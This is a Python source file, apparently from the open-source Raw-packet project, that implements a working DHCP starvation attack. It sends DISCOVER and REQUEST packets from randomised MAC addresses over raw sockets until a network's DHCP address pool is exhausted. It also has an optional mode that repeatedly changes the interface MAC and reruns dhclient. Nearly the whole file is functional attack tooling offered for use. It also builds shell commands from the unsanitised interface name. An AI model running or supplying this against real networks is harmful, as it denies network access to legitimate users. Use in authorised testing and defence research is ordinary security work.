#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# region Description
"""
dhcp_starvation.py: DHCP Starvation attack script
Author: Vladimir Ivanov
License: MIT
Copyright 2020, Raw-packet Project
"""
# endregion

# region Import
from sys import path
from os.path import dirname, abspath
from socket import socket, SOCK_RAW, AF_PACKET
from sys import exit
from os import system
from argparse import ArgumentParser
from datetime import datetime
from time import sleep, time
from random import randint
from json import dumps
from typing import Union, Dict
# endregion

# region Authorship information
__author__ = 'Vladimir Ivanov'
__copyright__ = 'Copyright 2020, Raw-packet Project'
__credits__ = ['']
__license__ = 'MIT'
__version__ = '0.2.1'
__maintainer__ = 'Vladimir Ivanov'
__email__ = 'ivanov.vladimir.mail@gmail.com'
__status__ = 'Production'
# endregion

# region Global variables
start_time: Union[None, float] = None
ack_received: bool = False
# endregion


# region Send DHCP discover packets
def send_dhcp_discover():
    sleep(1)
    base.print_info("Sending DHCP discover packets...")
    base.print_info("Delay between DISCOVER packets: ", str(args.delay), " sec.")
    base.print_info("Start sending packets: ", str(datetime.now().strftime("%Y/%m/%d %H:%M:%S")))
    discover_raw_socket = socket(AF_PACKET, SOCK_RAW)
    discover_raw_socket.bind((listen_network_interface, 0))

    try:
        while True:
            client_mac = eth.make_random_mac()
            transaction_id = randint(1, 4294967295)
            discover_raw_socket.send(dhcp.make_discover_packet(ethernet_src_mac=your_mac_address,
                                                               client_mac=client_mac,
                                                               transaction_id=transaction_id,
                                                               relay_agent_ip=your_ip_address))
            transactions[transaction_id] = client_mac
            if int(time() - start_time) > args.timeout:
                if ack_received:
                    base.print_success("IP address pool is exhausted: ", 
                                       str(datetime.now().strftime("%Y/%m/%d %H:%M:%S")))
                else:
                    base.print_error("DHCP Starvation failed timeout!")
                sleep(1)
                exit(1)
            sleep(int(args.delay))
    
    except KeyboardInterrupt:
        base.print_info("Exit")
        discover_raw_socket.close()
        exit(0)
# endregion


# region Send DHCP request
def send_dhcp_request(request):

    # region Variables
    global start_time
    global ack_received
    dhcp_server_ip: Union[None, str] = None
    dhcp_server_mac: Union[None, str] = None
    # endregion

    if 'DHCPv4' in request.keys():

        # region Get reply transaction id, client ip
        xid = request['BOOTP']['transaction-id']
        yiaddr = request['BOOTP']['your-ip-address']
        siaddr = request['BOOTP']['server-ip-address']
        # endregion

        # region Get DHCP server IP
        if dhcp_server_ip is None:
            if siaddr == "0.0.0.0":
                dhcp_server_ip = request['IPv4']['source-ip']
            else:
                dhcp_server_ip = siaddr
            dhcp_server_mac = request['Ethernet']['source']
        # endregion

        # region Rewrite start time
        start_time = time()
        # endregion

        # region DHCP OFFER
        if request['DHCPv4'][53] == 2:
            if args.find_dhcp:
                base.print_success("DHCP server IP: ", dhcp_server_ip)
                base.print_success("DHCP server MAC: ", dhcp_server_mac)
                base.print_success("DHCP packet: ")
                print(dumps(request, indent=4))
                exit(0)

            base.print_info("DHCP OFFER from: ", dhcp_server_ip, " your client ip: ", yiaddr)

            try:
                if args.not_send_hostname:
                    host_name = None
                else:
                    host_name = base.make_random_string(8)

                request_packet = dhcp.make_request_packet(ethernet_src_mac=your_mac_address,
                                                          client_mac=transactions[xid],
                                                          transaction_id=xid,
                                                          dhcp_message_type=3,
                                                          host_name=host_name,
                                                          requested_ip=yiaddr,
                                                          option_value=dhcp_option_value,
                                                          option_code=dhcp_option_code,
                                                          relay_agent_ip=your_ip_address)
                raw_socket.send(request_packet)
            except KeyError:
                # base.print_error("Key error, this transaction id: ", hex(xid), " not found in our transactions!")
                pass
        # endregion

        # region DHCP ACK
        if request['DHCPv4'][53] == 5:
            ack_received = True
            base.print_info("DHCP ACK from:   ", dhcp_server_ip, " your client ip: ", yiaddr)
        # endregion

        # region DHCP NAK
        if request['DHCPv4'][53] == 6:
            base.print_error("DHCP NAK from:   ", dhcp_server_ip, " your client ip: ", yiaddr)
        # endregion
# endregion


# region Main function
if __name__ == "__main__":

    # region Import Raw-packet classes
    path.append(dirname(dirname(dirname(abspath(__file__)))))
    from raw_packet.Utils.network import RawEthernet, RawDHCPv4, RawSniff
    from raw_packet.Utils.tm import ThreadManager
    from raw_packet.Utils.base import Base
    # endregion

    # region Init Raw-packet classes
    base: Base = Base()
    eth: RawEthernet = RawEthernet()
    dhcp: RawDHCPv4 = RawDHCPv4()
    sniff: RawSniff = RawSniff()
    thread_manager: ThreadManager = ThreadManager(2)
    # endregion

    # region Set variables
    transactions: Dict[str, str] = dict()
    # endregion

    try:
        # region Check user, platform and print banner
        base.check_user()
        base.check_platform()
        base.print_banner()
        # endregion

        # region Parse script arguments
        parser = ArgumentParser(description='DHCP Starvation attack script')
        parser.add_argument('-i', '--interface', type=str, help='Set interface name for send discover packets')
        parser.add_argument('-d', '--delay', type=int, help='Set delay time in seconds (default: 1)', default=1)
        parser.add_argument('-t', '--timeout', type=int, help='Set receiving timeout in seconds (default: 10)', default=10)
        parser.add_argument('-n', '--not_send_hostname', action='store_true', help='Do not send hostname in DHCP request')
        parser.add_argument('-v', '--dhcp_option_value', type=str, help='Set DHCP option value', default=None)
        parser.add_argument('-c', '--dhcp_option_code', type=int, help='Set DHCP option code (default: 12)', default=12)
        parser.add_argument('-f', '--find_dhcp', action='store_true', help='Only find DHCP server in your network')
        parser.add_argument('-m', '--mac_change', action='store_true', help='Use mac change technique')
        args = parser.parse_args()
        # endregion

        # region set DHCP option code and value
        dhcp_option_value: Union[None, str] = None
        dhcp_option_code: int = 12

        if args.dhcp_option_value is not None:
            dhcp_option_value = args.dhcp_option_value

        if args.dhcp_option_code != 12:
            dhcp_option_code = args.dhcp_option_code
        # endregion

        # region Get listen network interface, your IP address and MAC address
        if args.interface is None:
            base.print_warning("Please set a network interface for sniffing ARP and DHCP requests ...")
        listen_network_interface = base.network_interface_selection(args.interface)
        your_ip_address = base.get_interface_ip_address(listen_network_interface)
        your_mac_address = base.get_interface_mac_address(listen_network_interface)
        # endregion

        # region Create raw socket
        raw_socket: socket = socket(AF_PACKET, SOCK_RAW)
        raw_socket.bind((listen_network_interface, 0))
        # endregion

        # region General output
        base.print_info("Listen network interface: ", listen_network_interface)
        base.print_info("Your IP address: ", your_ip_address)
        base.print_info("Your MAC address: ", your_mac_address)
        # endregion

        # region Get start time
        start_time = time()
        # endregion

        # region MAC change technique
        if args.mac_change:

            # region Get old ip and mac addresses
            old_mac_address = base.get_interface_mac_address(listen_network_interface)
            old_ip_address = base.get_interface_ip_address(listen_network_interface)
            # endregion

            # region Stop network
            base.print_info("Stop network ...")
            system('service network-manager stop')
            system('service networking stop 2>/dev/null')
            system('service network stop 2>/dev/null')
            # endregion

            while True:
                new_mac_address = eth.make_random_mac()

                # region Change MAC
                base.print_info("New MAC address: ", new_mac_address)
                system('ifconfig ' + listen_network_interface + ' down')
                system('ifconfig ' + listen_network_interface + ' hw ether ' + new_mac_address)
                system('ifconfig ' + listen_network_interface + ' up')
                # endregion

                # region Start network
                system('service network-manager start')
                system('service networking start 2>/dev/null')
                system('service network start 2>/dev/null')
                # endregion

                # region Check current MAC
                current_mac_address = base.get_interface_mac_address(listen_network_interface)
                if current_mac_address == old_mac_address:
                    base.print_error("MAC address not changed, the network driver may not support MAC address change!")
                    exit(1)
                # endregion

                # region Rewrite start time
                start_time = time()
                # endregion

                # region Dhclient
                system('dhclient ' + listen_network_interface + ' >/dev/null 2>&1')
                # endregion

                # region Check current IP
                current_ip_address = None
                while current_ip_address is None:
                    current_ip_address = base.get_interface_ip_address(listen_network_interface)
                    if int(time() - start_time) > args.timeout:
                        base.print_error("DHCP Starvation failed timeout!")
                        sleep(1)
                        exit(1)
                    sleep(1)

                if current_ip_address == old_ip_address:
                    base.print_error("IP address not changed, maybe IP address for this interface configured manually!")
                    exit(1)
                else:
                    base.print_info("Received a new IP address: ", current_ip_address)
                # endregion

                # region Rewrite old mac and ip addresses
                old_mac_address = current_mac_address
                old_ip_address = current_ip_address
                # endregion

                sleep(int(args.delay))
        # endregion

        # region Send DHCP Discover and Request packets
        else:

            # region Start DHCP sender in other thread
            thread_manager.add_task(send_dhcp_discover)
            # endregion

            # region Set network filter
            network_filters: Dict[str, Dict[str, Union[int, str]]] = {
                'IPv4': {'destination-ip': your_ip_address},
                'UDP': {'source-port': 67, 'destination-port': 67}
            }
            # endregion

            # region Start sniffer
            sniff.start(protocols=['IPv4', 'UDP', 'DHCPv4'], prn=send_dhcp_request, filters=network_filters)
            # endregion

        # endregion

    except KeyboardInterrupt:
        # region Start network
        system('service network-manager start')
        system('service networking start 2>/dev/null')
        system('service network start 2>/dev/null')
        # endregion

        base.print_info("Exit ...")
        exit(3)

# endregion